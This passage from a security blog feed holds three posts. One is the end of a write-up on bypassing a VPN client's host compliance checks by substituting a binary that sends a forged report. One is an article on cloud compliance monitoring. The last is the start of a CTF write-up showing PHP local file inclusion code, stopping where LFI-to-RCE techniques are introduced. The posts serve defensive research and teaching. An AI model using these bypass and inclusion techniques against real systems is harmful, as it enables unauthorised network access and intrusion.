<li style="text-align: left;"><strong>PanGpHipMip:</strong> the process spawned by PanGPS that check for known vulnerabilities on the different host programs</li>
</ul>
<p> </p>
<h4 style="text-align: left;">Tamper the profile</h4>
<p style="text-align: left;">The previous figure highlighted that hijacking <em>PanGpHip</em> to write a tampered compliance report on its <em>stdout</em> should be sufficient:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19418 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1.png" alt="" width="528" height="461" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1.png 593w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1-219x191.png 219w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1-45x39.png 45w" sizes="auto, (max-width: 528px) 100vw, 528px" /></p>
<p> </p>
<p style="text-align: left;">A simple C code was written:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19416 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode.png" alt="" width="667" height="181" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-437x119.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-768x209.png 768w" sizes="auto, (max-width: 667px) 100vw, 667px" /></p>
<p> </p>
<p style="text-align: left;">Then the <em>PanGpHip.exe</em> file was replaced by this program and a VPN connection was attempted. However, looking at API Monitor, the <em>PanGPS.exe</em> process never retrieved the HIP Report. Actually, the thread used to launch and parse the <em>PanGpHip.exe</em> process was in an idle state (this can be seen in APIMonitor cause the calls performed by each thread were highlighted in a unique color).</p>
<p style="text-align: left;">Looking in the code of <em>PanGPS.exe</em>, the following wait condition can be seen:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19398 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20.png" alt="" width="646" height="130" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20.png 845w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-437x88.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-768x155.png 768w" sizes="auto, (max-width: 646px) 100vw, 646px" /></p>
<p style="text-align: left;"><br />The <em>WaitForMultipleObject</em> condition stalls the <em>PanGPS.exe</em> program as long as the child process does not raise a given event.</p>
<p style="text-align: left;">It was possible to dynamically retrieve the event definition using APIMonitor again, analyze the parameters used with <em>WaitForMultipleObject</em> and linking the ID with the related <em>CreateEvent</em> parameters. <br />Looking at the code, the binary creates a specific event using the <em>CreateEvent</em> Win32 API. APIMonitor confirmed that this event is in the list of the waited event.</p>
<p style="text-align: left;">Another C code, taking this event into account, was written:</p>
<p style="text-align: left;"><img loading="lazy" decoding="async" class=" wp-image-19400 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21.png" alt="" width="691" height="417" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-317x191.png 317w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-768x463.png 768w" sizes="auto, (max-width: 691px) 100vw, 691px" /><br /><br />Once again, the program was compiled, and used to replace the <em>PanGpHip.exe</em> file. However, even with this modification, the <em>PanGPS</em> binary did not receive the full report.</p>
<p style="text-align: left;">Using, API Monitor, it was noted that the printf did not use the <em>WriteFile</em> Win32API at all. At first, we thought that under the hood, printf would call the <em>WriteFile</em> API as it just writes data into a PIPE but that was a wrong assumption.</p>
<p style="text-align: left;">The program is once again modified to use the <em>WriteFile</em> API:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19402 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22.png" alt="" width="701" height="445" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-768x488.png 768w" sizes="auto, (max-width: 701px) 100vw, 701px" /></p>
<p> </p>
<p style="text-align: left;">Even with this modification, it was not possible to retrieve the report in the <em>PanGPS.exe</em> binary. Our last option was to reverse, again, the <em>PanGpHip.exe</em> binary to understand how it writes the data in the PIPE.</p>
<p style="text-align: left;">In fact, the process does not directly write the report in the PIPE, it first writes 10 bytes that represent the size of the report, and then, the full report. This behavior is quite expected as the PanGps.exe process read the full report in one call and, thus, must know the full size of the report to be able to use the <em>ReadFile</em> Win32Api.</p>
<p style="text-align: left;">Thus, the exploit binary must:</p>
<ol>
<li style="text-align: left;">Compute the report final size</li>
<li style="text-align: left;">Format the size on a 10-byte string</li>
<li style="text-align: left;">Write this size on the communication PIPE handled by <em>stdout</em></li>
<li style="text-align: left;">Notify the <em>PanGPS.exe</em> process using the <em>HipReportReadyInOtherProcess</em> event</li>
<li style="text-align: left;">Write the report on the communication PIPE handled by <em>stdout</em></li>
<li>Notify the <em>PanGPS.exe</em> process using the <em>HipReportReadyInOtherProcess</em> event</li>
</ol>
<p><br />Finally, the script was modified as follows:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19404 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23.png" alt="" width="733" height="566" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-768x593.png 768w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<p> </p>
<p>Once the VPN is launched, the modified script is executed, and the tampered profile is sent to the VPN gateway instead of the profile that would be generated by the initial <em>PanGpHip.exe</em> binary.</p>
<p>As the profile sent matched a compliant profile expected by the VPN gateway, the rogue computer was granted access to the internal network without restrictions.</p>
<p> </p>
<h2 style="text-align: left;">Conclusion</h2>
<p style="text-align: left;">VPN clients and appliances are interesting as <strong>they allow remote workers to access the internal network and emulate an in-office experience</strong>. However, they also <strong>expand the attack surface</strong> as an attacker could use them to remotely access the internal network.</p>
<p style="text-align: left;">In order to mitigate these risks, VPN companies set up some <strong>verification rules</strong> to avoid unknown devices to access the internal network. These rules often take place as <strong>compliance checks</strong> that cannot be easily tampered with.</p>
<p style="text-align: left;">However, because the compliance report is generated directly by the host, an attacker can simply <strong>hijack the part of the program that sends the report to the VPN Gateway</strong> and injects its own tampered report. Thus, this compliance checks must not be taken as a proof that the connecting computer belongs to the organization.</p>
<p style="text-align: left;">An &#8220;easy&#8221; way to prevent these kinds of attacks is to <strong>authenticate the user <span style="text-decoration: underline;">AND</span> the computer</strong> accessing to the VPN. This can be done through the use of a <strong>machine certificate verification with an asymmetric authentication process</strong>.</p>
<p style="text-align: left;">An 802.1X-like authentication protocol using certificates could be a viable solution for VPN access as this authentication mechanism authenticates the computer, giving a proof that the connecting computer really belongs to the organization.</p>
<p style="text-align: left;">In this case, even if the attacker can tamper with the compliance checks performed, <strong>he will not be able to pass the computer authentication validation</strong> and won&#8217;t be able to access to the internal network. <br />However, these solutions can still be bypassed with computer certificate extraction or vulnerability related to 802.1X authentication, but these attacks need Administrators privileges on the computer and/or a physical access to the machine: if an attacker already has Administrators rights or physical access to one of your Domain Workstation, there are way more serious troubles ahead. Additional protections can also be set in place to further harden the access to the certificate, such as <strong>storing them on a Virtual Smartcard hosted on the TPM chip</strong>.</p>
<p style="text-align: left;">In a nutshell, if the compliance checks have been set up to avoid users connecting personal devices with a degraded level of security to the VPN, it can do the job.</p>
<p style="text-align: left;">However, if they have been set up as a network access control mechanism to avoid attackers with valid credentials and host configuration to access to the internal network using their attack machine, they are not sufficient.</p>
<p style="text-align: left;"> </p>
<p style="text-align: right;"><strong>Yoann DEQUEKER</strong><br />Senior Auditor</p>
<p style="text-align: left;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/">Bypassing host security checks on a modern VPN solution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Compliance in the Cloud, a new Paradigm</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/#respond</comments>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Fri, 07 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CSPM]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18873</guid>

					<description><![CDATA[<p>Feedback on AWS and Azure Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  leakage of 1 billion citizens&#8217; data linked to a key leak,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/">Compliance in the Cloud, a new Paradigm</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Feedback on AWS and Azure</h1>
<p style="text-align: justify;">Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  <a href="https://twitter.com/cz_binance/status/1543905416748359680">leakage of 1 billion citizens&#8217; data linked to a key leak</a>, <a href="https://lambdascientifica.com/new-office-365-phishing-campaign-used-stolen-kaspersky-amazon-ses-token-to-trick-victims/">phishing campaign using a Kaspersky AWS key</a>, <a href="https://gizmodo.com/iranian-chat-app-gets-its-data-wiped-out-in-a-cyberatta-1846181651">misconfiguration of a NoSQL database</a>, <a href="https://www.darkreading.com/application-security/cloud-misconfig-exposes-3tb-sensitive-airport-data-amazon-s3-bucket">3TB of sensitive airport data&#8230;</a></p>
<p style="text-align: justify;">The objective of this article is to illustrate how to anticipate a scenario by implementing a Control Tower, or a tool for continuous supervision of the configuration of Cloud resources.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">To begin with, a little theory about logs</h2>
<p style="text-align: justify;">Cloud logs can be divided into 3 categories:</p>
<ul style="text-align: justify;">
<li><strong>System logs</strong>: They are generated by the OS and applications hosted in IaaS/CaaS mode. The stakes are not different from a classic on premise IS, but only the architecture of logs collection can be adapted.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18841 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png" alt="" width="1187" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png 1187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-768x215.png 768w" sizes="auto, (max-width: 1187px) 100vw, 1187px" /></p>
<ul style="text-align: justify;">
<li><strong>Security infrastructure admin logs</strong>: Includes the logs of the security appliances, but also of the PaaS security services used by the customer and the logs of the network flows. For the appliances, there are no new changes here either, it is the same component already in use and well known. However, for security PaaS services and network logs, it is necessary to implement a specific integration and adapt the detection scenarios.</li>
<li><strong>Cloud Infra API logs</strong>: During each API call to create, modify or delete a resource, the Cloud Service Provider will generate a log.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These logs are accessible in dedicated managed services such as AWS CloudTrail, AWS config or Azure activity log:</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18843 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png" alt="" width="475" height="60" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png 475w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-437x55.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-71x9.png 71w" sizes="auto, (max-width: 475px) 100vw, 475px" /></p>
<p style="text-align: justify;">The time taken to make the logs available will depend on the SLA of the CSP, but they are generally available within 15 minutes after the operation has been carried out.</p>
<p style="text-align: justify;">Exploiting these logs will enable you to move from a manual and static compliance to an automatic and continuous compliance:</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18877 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer.png" alt="" width="1038" height="301" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer.png 1038w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-437x127.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-768x223.png 768w" sizes="auto, (max-width: 1038px) 100vw, 1038px" /></p>
<p> </p>
<h2 style="text-align: justify;">What are the technical options for building a Control Tower?</h2>
<p style="text-align: justify;">There are three main options for a customer to implement a control tower:</p>
<ul style="text-align: justify;">
<li><strong>Native (</strong>built-in)</li>
<li><strong>Custom native</strong></li>
<li><strong>Cloud Security Posture Management </strong>(CSPM)</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Native (built-in)</h3>
<p style="text-align: justify;">In the first case, the tools activated by the Cloud Service Provider are default, sometimes free of charge, using predefined alerts to assess the compliance of your environments and deliver using a security score.</p>
<p style="text-align: justify;">For example, Trusted Advisor on AWS or Microsoft Defender for Cloud on Azure.           </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18849 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png" alt="" width="4116" height="1230" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png 4116w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-1536x459.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-2048x612.png 2048w" sizes="auto, (max-width: 4116px) 100vw, 4116px" /></p>
<p style="text-align: justify;">These native and non-customized solutions make it possible to initiate a control tower, but they are limited as they are a generic response to specific problems.</p>
<h3 style="text-align: justify;"> </h3>
<h3 style="text-align: justify;">Custom native</h3>
<p style="text-align: justify;">Cloud providers provide many services that allow customers to build a compliance tool for their infrastructure. The CSP tools available are customised to create specific compliance alerts and custom dashboards/KPIs.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18853 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN.png" alt="" width="1186" height="562" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN.png 1186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-403x191.png 403w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-768x364.png 768w" sizes="auto, (max-width: 1186px) 100vw, 1186px" /></p>
<p style="text-align: justify;">In this option, it is necessary to allocate 10-to-40-man days to the project, in order to implement the monitoring infrastructure, define the first alerts and build the dashboards.</p>
<p style="text-align: justify;">The use of several tenants, organizations or Clouds will require a specific architecture to be defined as there is no turnkey solution.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">CSPM : Cloud Security Posture Management</h3>
<p style="text-align: justify;">Wavestone sees a booming market within CSPM where, <a href="https://www.marketsandmarkets.com/Market-Reports/cloud-security-posture-management-market-71228949.html">Marketsandmarkets</a> estimates that the CSPM market will more than double between 2022 and 2027 from $4.2 billion to $8.6 billion.</p>
<p style="text-align: justify;">CSPMs natively support numerous Cloud providers and provide their customers with numerous dashboards based on the major market repositories. Customers can also easily define their own standards, policies and alerts.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18857 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN.png" alt="" width="4389" height="1874" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN.png 4389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-768x328.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-1536x656.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-2048x874.png 2048w" sizes="auto, (max-width: 4389px) 100vw, 4389px" /></p>
<p style="text-align: justify;">The deployment of this type of tool is very simple, within few days it can be accessible to the customer.</p>
<p style="text-align: justify;">The recurring costs may however be significant: typically 3 &#8211; 5% of the Cloud bill in addition to the Cloud services to be activated (similar to the native and custom services option).</p>
<p style="text-align: justify;">Detection speed will also be slightly slower as the CSPM SLA adds to the CSP log generation SLA, typically 20 minutes &#8211; 1 hour detection time.</p>
<p> </p>
<h2 style="text-align: justify;">What should my Control Tower monitor?</h2>
<p style="text-align: justify;">The major problem customers face when implementing a CSPM with proposed alert activation, is the generation of tens or even hundreds of thousands of high criticality alerts to process. Teams don&#8217;t know where to start and are often feel discouraged. Care must be taken not to overload the security teams!</p>
<p style="text-align: justify;">For the implementation of a control tower on a production Cloud IS, we recommend deploying security controls in waves of 10 &#8211; 15 at a time. To do this, you need to prioritise the most important topics. Below is an example of prioritisation:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18861 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN.png" alt="" width="3283" height="1170" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN.png 3283w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-768x274.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-1536x547.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-2048x730.png 2048w" sizes="auto, (max-width: 3283px) 100vw, 3283px" /></p>
<p style="text-align: justify;">Unfortunately, every rule has its exceptions! Mainly linked to the existing Cloud, specific architectures or technical constraints, it is therefore essential to foresee this situation and the associated governance at the design stage:</p>
<ul style="text-align: justify;">
<li>Validation: by the local CISO and/or the global CISO</li>
<li>Expiration</li>
<li>Review: decentralised (locally or during annual global audits) or centralised (through continuous global monitoring)</li>
</ul>
<p style="text-align: justify;">Using tags for cloud resources is currently, the easiest way to do this, however, be aware that some resources may not be compatible such as IAM services.</p>
<p style="text-align: justify;">No matter which model is chosen, the issues to be addressed remain mainly the same:</p>
<ul style="text-align: justify;">
<li>Ensuring the legitimate use and application of exceptions</li>
<li>Define specific indicators on exceptions for subjects at risk from Top Management</li>
<li>Set up regular exception monitoring campaigns</li>
<li>Alerting and dealing with when an exception expires</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">How to implement an effective remediation process?</h2>
<p style="text-align: justify;">The implementation of a control tower will generate numerous alerts, which will have to be corrected. The three options possible are listed below: </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18865 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN.png" alt="" width="4013" height="1201" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN.png 4013w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-1536x460.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-2048x613.png 2048w" sizes="auto, (max-width: 4013px) 100vw, 4013px" /></p>
<h3 style="text-align: justify;">Deny</h3>
<p style="text-align: justify;">Why remediate when you can simply block non-compliant resources preventively?</p>
<p style="text-align: justify;">With <a href="https://github.com/Azure/Community-Policy">Azure Policy</a> or <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html">AWS SCP</a>, it is natively possible to block certain configurations and thus avoid generating new alerts.</p>
<p style="text-align: justify;">For use cases that are not covered, it is possible to set up checks on deployment templates in the CI/CD chains (this nevertheless requires a high level of maturity).</p>
<p style="text-align: justify;">Deploying a deny mechanism on existing environments is rarely implemented as the risk of generating dissatisfaction among development teams is too high:</p>
<ul>
<li style="text-align: justify;">Existing non-compliant resources can no longer be modified</li>
<li style="text-align: justify;">It will generate an additional burden on the development teams because habits must be changed</li>
<li style="text-align: justify;">&#8230;</li>
</ul>
<h3 style="text-align: justify;"> </h3>
<h3>Automatic remediation</h3>
<p style="text-align: justify;">Here, the aim is to correct deviant configurations directly and automatically but beware of side effects!</p>
<p style="text-align: justify;">To do this, it is possible to use the cloud provider&#8217;s native services (Azure policy or AWS SSM Manager) or to develop functions for unsupported cases (AWS Lambda, Azure Function or Azure LogicApps).</p>
<p> </p>
<h3 style="text-align: justify;">Manual</h3>
<p style="text-align: justify;">Unfortunately, this is the most common solution, but also the most expensive in terms of human resources. Deviating configurations are remediated manually by the teams.</p>
<p style="text-align: justify;">To guarantee the success of a manual remediation, it is necessary to have strong support from top management to ensure the adhesion and motivation of the teams.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignleft wp-image-18869 size-medium" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-211x191.png" alt="" width="211" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-43x39.png 43w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-768x694.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-1536x1389.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-2048x1851.png 2048w" sizes="auto, (max-width: 211px) 100vw, 211px" />The implementation of a Cloud OWSAP type dashboard highlighting the priorities of the moment is a good solution, allowing each person to take responsibility for their area. Each of the subjects mentioned opposite can have one or more indicators.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">However, having the support of management is not sufficient, it is necessary to know the person responsible for the resource in order to ask  them to make the changes. In a large international group this is not easy. Our recommendation is to appoint at least one security officer per account/subscription who should have detailed knowledge of the applications and the people responsible for the resources.</p>
<p style="text-align: justify;">In parallel, it is necessary to implement an effective training and awareness programme. In order to minimise the number of alerts and avoid filling the bathtub faster than it empties, the development teams must be fully aware of the security requirements in the cloud.</p>
<p style="text-align: justify;">To begin the remediation process, our advice is to start centrally with an ample sized team in charge of implementing the control tower, but also in charge of mobilising and training local relays, enabling local teams to monitor and manage compliance on their own.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Compliance alert or security alert?</h2>
<p style="text-align: justify;">Most companies consider that monitoring the compliance of their cloud resources is not a responsibility of the SOC teams. But the boundary is not so easy to define, especially given the number of security incidents in the cloud that stem from configuration errors: public exposure of a storage resource containing critical data, unconfigured MFA on an admin account, or RDP or SSH exposed on the internet.</p>
<p style="text-align: justify;">Generating a security alert to the SOC will leverage existing processes and tools for 24/7 handling even if the SOC resources are not cloud experts.</p>
<p style="text-align: justify;">And finally, this will be a good opportunity to bring Cloud security and SOC teams together to improve security supervision by adapting it to the reality of the cloud.</p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/">Compliance in the Cloud, a new Paradigm</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Barb&#8217;hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Tue, 06 Sep 2022 16:29:02 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18718</guid>

					<description><![CDATA[<p>For the third consecutive time, the French city of Toulon hosted the French southernmost hacking event known as Barb&#8217;hack. We &#8211; two of Wavestone security auditors &#8211; have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF) event...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/">Barb&#8217;hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>For the third consecutive time, the French city of Toulon hosted the <em>French southernmost hacking event</em> known as <a href="https://www.barbhack.fr/2022/en/"><strong>Barb&#8217;hack</strong></a>. We &#8211; two of Wavestone security auditors &#8211; have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF) event during the night.</p>
<p> </p>
<h3>Context</h3>
<p>The CTF featured many challenges across many categories (reverse, binary exploitation, crypto, forensics, etc.), but one of the web application challenges kept us busy for long. The challenge presented itself as a simple PHP web application with multiple pages, and the user could switch between them by changing the <code>?p=</code> GET parameter available. This usually results in a <strong>Local File Inclusion (LFI) </strong>vulnerability, with the backend PHP code being one of:</p>
<pre class="w-code"><span class="sc18">&lt;?php</span>

<span class="sc121">include</span> <span class="sc123">$_GET</span><span class="sc127">[</span><span class="sc120">'p'</span><span class="sc127">];</span>
<span class="sc121">include</span> <span class="sc120">'includes/'</span> <span class="sc127">.</span> <span class="sc123">$_GET</span><span class="sc127">[</span><span class="sc120">'p'</span><span class="sc127">];</span>
<span class="sc121">include</span> <span class="sc123">$_GET</span><span class="sc127">[</span><span class="sc120">'p'</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc120">'.php'</span><span class="sc127">;</span>

<span class="sc18">?&gt;</span></pre>
<p>These codes (and all derivatives) allow users to include almost any file from the server hosting the application and to which the web server service account (usually <em>www-data</em>) has access. In many cases, malicious users can exfiltrate data, leak the application source code, unveil secrets and passwords, etc. But in few specific ones, it is also possible to achieve <strong>Remote Code Execution (RCE)</strong>. Over the years, the number of techniques on which one could rely to transform an LFI into an RCE grew in size, with the following examples:</p>
<ul>
<li>Abusing the <code>PHP_SESSION_UPLOAD_PROGRESS</code> (<a href="https://blog.orange.tw/2018/10/">Orange</a>)</li>
<li>Abusing arbitrary data in PHP sessions (<a href="https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/#rce-using-control-over-php-session-values">RCE Security</a>)</li>
<li>Abusing nginx&#8217;s temporary files (<a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files">Hacktricks</a>)</li>
<li>Using <code>phpinfo()</code>, <code>php://input</code>, <code>zlib://compress</code>, etc.</li>
</ul>
<p>One common element about all these techniques is that they all rely on (at least) an additional requirement. If not present, the LFI cannot be converted into RCE, and the pentester gets sad.</p>
<p> </p>
<h3>The usual trick</h3>
<p>The web application we had under scrutiny was unfortunately so simple that all of these techniques did not work. We tried to exfiltrate interesting files from the server (<code>/etc/passwd</code>, Apache/nginx virtual host configuration, process environment, etc.) but nothing interested could be found.</p>
